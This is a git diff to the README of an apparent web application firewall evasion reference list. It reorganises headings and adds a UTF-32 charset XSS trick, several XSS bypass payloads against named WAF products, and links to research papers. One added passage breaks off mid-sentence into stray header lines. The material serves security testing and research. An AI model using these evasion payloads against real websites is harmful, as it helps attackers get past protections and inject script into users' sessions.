diff --git a/README.md b/README.md index 88f9073..2fc1a8b 100644 --- a/README.md +++ b/README.md @@ -1414,10 +1414,10 @@ Wanna detect WAFs? Lets see how. -# Evasion Techniques +## Evasion Techniques Lets look at some methods of bypassing and evading WAFs. -## Fuzzing/Bruteforcing: +### Fuzzing/Bruteforcing: #### Method: Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: - Wordlists specifically for fuzzing - [Seclists Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing). @@ -1435,15 +1435,17 @@ __Drawback:__ - This method often fails. - Many a times your IP will be blocked (temporarily/permanently). -## Regex-Reversing: -### Method: +### Regex-Reversing: +#### Method: - Most efficient method of bypassing WAFs. - Some WAFs rely upon matching the attack payloads with the signatures in their databases. - Payload matches the reg-ex the WAF triggers alarm. #### Techniques: -__Scenario 1: SQL Injection__ +### __Keyword Filter Detection/Bypass__ + +__SQL Injection__ ##### • Step 1: __Keyword filer__: `and`, `or`, `union` @@ -1550,28 +1552,91 @@ script/src="data:text%2Fj\u0061v\u0061script,\u0061lert(1)"> ​ ``` -## Google Dorks Approach: -__Method:__ +### Browser Bugs: +#### Charset Bugs: +- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads. +- When the site decodes the string, the payload gets triggered. + +Example request: +
+    GET /page.php?param=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
+    Host: site.com
+    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
+    Accept-Charset:utf-32, iso-8859-1;q=0.5
+    Accept-Language: en-US,en;q=0.5
+    Accept-Encoding: gzip, deflate
+
+When the site loads, it will be encoded to the UTF-32 encoding that we set, and +then as the output encoding of the page is utf-8, it will be rendered as: `": aa +Keep-Alive: 300 +``` - R-XSS Bypass by [@WAFNinja](https://waf.ninja) ``` ``` -- GET - XSS Bypass by [@DavidK](https://www.exploit-db.com/?author=2741) +- GET - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` /search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E @@ -1628,12 +1735,16 @@ User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT) h%2Bn)(/0wn3d/.source)" /> ``` -- POST - XSS Bypass by [@DavidK](https://www.exploit-db.com/?author=2741) +- POST - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) ``` ``` +- `clave` XSS (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741) +``` +/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ +``` ### __Fortinet Fortiweb__ - `pcre_expression` unvaidated XSS by [@Benjamin Mejri](https://www.exploit-db.com/?author=7854) @@ -1845,6 +1956,8 @@ X-Remote-Addr: 127.0.0.1 - [Protocol Level WAF Evasion](papers/Qualys%20Guide%20-%20Protocol-Level%20WAF%20Evasion.pdf) - A protocol level WAF evasion techniques and analysis by [Qualys](https://www.qualys.com). - [Neural Network based WAF for SQLi](papers/Artificial%20Neural%20Network%20based%20WAF%20for%20SQL%20Injection.pdf) - A paper about building a neural network based WAF for detecting SQLi attacks. - [Bypassing Web Application Firewalls with HTTP Parameter Pollution](papers/Bypassing%20Web%20Application%20Firewalls%20with%20HTTP%20Parameter%20Pollution.pdf) - A ressearch paper from [Exploit DB](https://exploit-db.com) about effectively bypassing WAFs via HTTP Parameter Pollution. +- [Poking A Hole in the Firewall](papers/Poking%20A%20Hole%20In%20The%20Firewall.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about modern firewall analysis and related bypasses. +- [Modern WAF Fingerprinting and XSS Filter Bypass](papers/Modern%20WAF%20Fingerprinting%20and%20XSS%20Filter%20Bypass.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about WAF fingerprinting and bypassing XSS filters. - [WAF Evasion Testing](papers/SANS%20Guide%20-%20WAF%20Evasion%20Testing.pdf) - A WAF evasion testing guide from [SANS](https://www.sans.org). - [WASC WAF Evaluation Criteria](papers/WASC%20WAF%20Evaluation%20Criteria.pdf) - A guide for WAF Evaluation from [Web Application Security Consortium](http://www.webappsec.org) - [WAF Evaluation and Analysis](papers/Web%20Application%20Firewalls%20-%20Evaluation%20and%20Analysis.pdf) - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from [University of Amsterdam](http://www.uva.nl). diff --git a/papers/SANS Guide - WAF Evasion Testing.pdf b/papers/SANS Guide - WAF Evasion Testing.pdf index 410dc4b..37c1efd 100644 Binary files a/papers/SANS Guide - WAF Evasion Testing.pdf and b/papers/SANS Guide - WAF Evasion Testing.pdf differ